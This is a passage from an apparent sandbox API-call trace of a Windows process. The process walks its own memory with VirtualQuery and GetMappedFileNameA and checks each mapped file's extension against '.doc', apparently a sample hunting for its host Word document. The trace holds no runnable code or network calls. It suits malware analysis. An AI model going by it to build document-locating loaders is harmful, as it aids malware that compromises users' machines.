lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x2db0000, AllocationBase=0x2db0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.320] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x2db0000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\en-US\\UIAutomationCore.dll.mui" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\en-us\\uiautomationcore.dll.mui")) returned 0x0 [0018.320] VirtualQuery (in: lpAddress=0x2dbc000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x2dbc000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0x4000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.320] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x2dbc000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\en-US\\UIAutomationCore.dll.mui" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\en-us\\uiautomationcore.dll.mui")) returned 0x0 [0018.320] VirtualQuery (in: lpAddress=0x2dc0000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x2dc0000, AllocationBase=0x2dc0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xf9000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.320] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x2dc0000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\en-US\\UIAutomationCore.dll.mui" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\en-us\\uiautomationcore.dll.mui")) returned 0x0 [0018.320] VirtualQuery (in: lpAddress=0x2eb9000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x2eb9000, AllocationBase=0x2dc0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.320] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x2eb9000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\en-US\\UIAutomationCore.dll.mui" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\en-us\\uiautomationcore.dll.mui")) returned 0x0 [0018.320] VirtualQuery (in: lpAddress=0x2ebb000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x2ebb000, AllocationBase=0x2dc0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.320] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x2ebb000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\en-US\\UIAutomationCore.dll.mui" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\en-us\\uiautomationcore.dll.mui")) returned 0x0 [0018.320] VirtualQuery (in: lpAddress=0x2ec0000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x2ec0000, AllocationBase=0x2ec0000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x7f000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0018.320] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x2ec0000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="\\Device\\HarddiskVolume1\\Windows\\Fonts\\segoeui.ttf" (normalized: "c:\\windows\\fonts\\segoeui.ttf")) returned 0x31 [0018.320] lstrcmpA (lpString1=".ttf", lpString2=".doc") returned 1 [0018.320] VirtualQuery (in: lpAddress=0x2f3f000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x2f3f000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0x1000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.320] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x2f3f000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\Fonts\\segoeui.ttf" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\fonts\\segoeui.ttf")) returned 0x0 [0018.320] VirtualQuery (in: lpAddress=0x2f40000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x2f40000, AllocationBase=0x2f40000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x2000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0018.320] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x2f40000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\Fonts\\segoeui.ttf" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\fonts\\segoeui.ttf")) returned 0x0 [0018.320] VirtualQuery (in: lpAddress=0x2f42000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x2f42000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0xe000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.320] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x2f42000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\Fonts\\segoeui.ttf" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\fonts\\segoeui.ttf")) returned 0x0 [0018.320] VirtualQuery (in: lpAddress=0x2f50000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x2f50000, AllocationBase=0x2f50000, AllocationProtect=0x1, __alignment1=0x0, RegionSize=0x2000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.320] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x2f50000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\Fonts\\segoeui.ttf" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\fonts\\segoeui.ttf")) returned 0x0 [0018.320] VirtualQuery (in: lpAddress=0x2f52000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x2f52000, AllocationBase=0x2f50000, AllocationProtect=0x1, __alignment1=0x0, RegionSize=0xe000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.320] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x2f52000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\Fonts\\segoeui.ttf" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\fonts\\segoeui.ttf")) returned 0x0 [0018.320] VirtualQuery (in: lpAddress=0x2f60000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x2f60000, AllocationBase=0x2f60000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfb000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.320] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x2f60000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\Fonts\\segoeui.ttf" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\fonts\\segoeui.ttf")) returned 0x0 [0018.320] VirtualQuery (in: lpAddress=0x305b000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x305b000, AllocationBase=0x2f60000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.320] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x305b000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\Fonts\\segoeui.ttf" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\fonts\\segoeui.ttf")) returned 0x0 [0018.320] VirtualQuery (in: lpAddress=0x305d000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x305d000, AllocationBase=0x2f60000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.320] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x305d000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\Fonts\\segoeui.ttf" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\fonts\\segoeui.ttf")) returned 0x0 [0018.320] VirtualQuery (in: lpAddress=0x3060000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x3060000, AllocationBase=0x3060000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x158000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0018.320] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x3060000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\Fonts\\segoeui.ttf" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\fonts\\segoeui.ttf")) returned 0x0 [0018.320] VirtualQuery (in: lpAddress=0x31b8000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x31b8000, AllocationBase=0x3060000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x2a8000, State=0x2000, Protect=0x0, Type=0x40000, __alignment2=0x0)) returned 0x30 [0018.320] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x31b8000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\Fonts\\segoeui.ttf" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\fonts\\segoeui.ttf")) returned 0x0 [0018.321] VirtualQuery (in: lpAddress=0x3460000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x3460000, AllocationBase=0x3460000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x930000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0018.321] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x3460000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="\\Device\\HarddiskVolume1\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat")) returned 0x35 [0018.321] lstrcmpA (lpString1=".dat", lpString2=".doc") returned -1 [0018.321] VirtualQuery (in: lpAddress=0x3d90000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x3d90000, AllocationBase=0x3d90000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xe000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.321] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x3d90000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\fonts\\staticcache.dat")) returned 0x0 [0018.321] VirtualQuery (in: lpAddress=0x3d9e000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x3d9e000, AllocationBase=0x3d90000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xf2000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.321] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x3d9e000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\fonts\\staticcache.dat")) returned 0x0 [0018.321] VirtualQuery (in: lpAddress=0x3e90000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x3e90000, AllocationBase=0x3e90000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0xa000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0018.321] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x3e90000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="\\Device\\HarddiskVolume1\\Windows\\System32\\normnfd.nls" (normalized: "c:\\windows\\system32\\normnfd.nls")) returned 0x34 [0018.321] lstrcmpA (lpString1=".nls", lpString2=".doc") returned 1 [0018.321] VirtualQuery (in: lpAddress=0x3e9a000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x3e9a000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0x6000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.321] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x3e9a000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\normnfd.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\normnfd.nls")) returned 0x0 [0018.321] VirtualQuery (in: lpAddress=0x3ea0000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x3ea0000, AllocationBase=0x3ea0000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0018.321] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x3ea0000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="\\Device\\HarddiskVolume1\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\windows\\system32\\stdole2.tlb")) returned 0x34 [0018.321] lstrcmpA (lpString1=".tlb", lpString2=".doc") returned 1 [0018.321] VirtualQuery (in: lpAddress=0x3ea4000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x3ea4000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0xc000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.321] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x3ea4000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\stdole2.tlb")) returned 0x0 [0018.321] VirtualQuery (in: lpAddress=0x3eb0000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x3eb0000, AllocationBase=0x3eb0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.321] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x3eb0000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\stdole2.tlb")) returned 0x0 [0018.321] VirtualQuery (in: lpAddress=0x3eb1000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x3eb1000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0xf000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.321] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x3eb1000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\stdole2.tlb")) returned 0x0 [0018.321] VirtualQuery (in: lpAddress=0x3ec0000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x3ec0000, AllocationBase=0x3ec0000, AllocationProtect=0x40, __alignment1=0x0, RegionSize=0x2000, State=0x1000, Protect=0x40, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.321] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x3ec0000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\stdole2.tlb")) returned 0x0 [0018.321] VirtualQuery (in: lpAddress=0x3ec2000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x3ec2000, AllocationBase=0x3ec0000, AllocationProtect=0x40, __alignment1=0x0, RegionSize=0x7e000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.321] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x3ec2000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\stdole2.tlb")) returned 0x0 [0018.321] VirtualQuery (in: lpAddress=0x3f40000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x3f40000, AllocationBase=0x3f40000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.321] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x3f40000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\stdole2.tlb")) returned 0x0 [0018.321] VirtualQuery (in: lpAddress=0x3f43000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x3f43000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0xd000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.321] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x3f43000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\stdole2.tlb")) returned 0x0 [0018.321] VirtualQuery (in: lpAddress=0x3f50000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x3f50000, AllocationBase=0x3f50000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.321] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x3f50000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\stdole2.tlb")) returned 0x0 [0018.321] VirtualQuery (in: lpAddress=0x3f54000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x3f54000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0xc000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.321] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x3f54000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\stdole2.tlb")) returned 0x0 [0018.321] VirtualQuery (in: lpAddress=0x3f60000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x3f60000, AllocationBase=0x3f60000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.321] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x3f60000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\stdole2.tlb")) returned 0x0 [0018.321] VirtualQuery (in: lpAddress=0x3f61000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x3f61000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0xf000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.321] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x3f61000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\stdole2.tlb")) returned 0x0 [0018.321] VirtualQuery (in: lpAddress=0x3f70000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x3f70000, AllocationBase=0x3f70000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x8000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.321] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x3f70000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\stdole2.tlb")) returned 0x0 [0018.321] VirtualQuery (in: lpAddress=0x3f78000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x3f78000, AllocationBase=0x3f70000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x8000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.321] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x3f78000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\stdole2.tlb")) returned 0x0 [0018.321] VirtualQuery (in: lpAddress=0x3f80000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x3f80000, AllocationBase=0x3f80000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xe000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.321] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x3f80000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\stdole2.tlb")) returned 0x0 [0018.322] VirtualQuery (in: lpAddress=0x3f8e000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x3f8e000, AllocationBase=0x3f80000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xf2000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.322] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x3f8e000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\stdole2.tlb")) returned 0x0 [0018.322] VirtualQuery (in: lpAddress=0x4080000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x4080000, AllocationBase=0x4080000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x40000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.322] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x4080000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\stdole2.tlb")) returned 0x0 [0018.322] VirtualQuery (in: lpAddress=0x40c0000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x40c0000, AllocationBase=0x40c0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xa000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.322] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x40c0000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\stdole2.tlb")) returned 0x0 [0018.322] VirtualQuery (in: lpAddress=0x40ca000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x40ca000, AllocationBase=0x40c0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x6000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.322] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x40ca000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\stdole2.tlb")) returned 0x0 [0018.322] VirtualQuery (in: lpAddress=0x40d0000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x40d0000, AllocationBase=0x40d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.322] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x40d0000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\stdole2.tlb")) returned 0x0 [0018.322] VirtualQuery (in: lpAddress=0x40d1000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x40d1000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0xf000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.322] GetMappedFileNameA 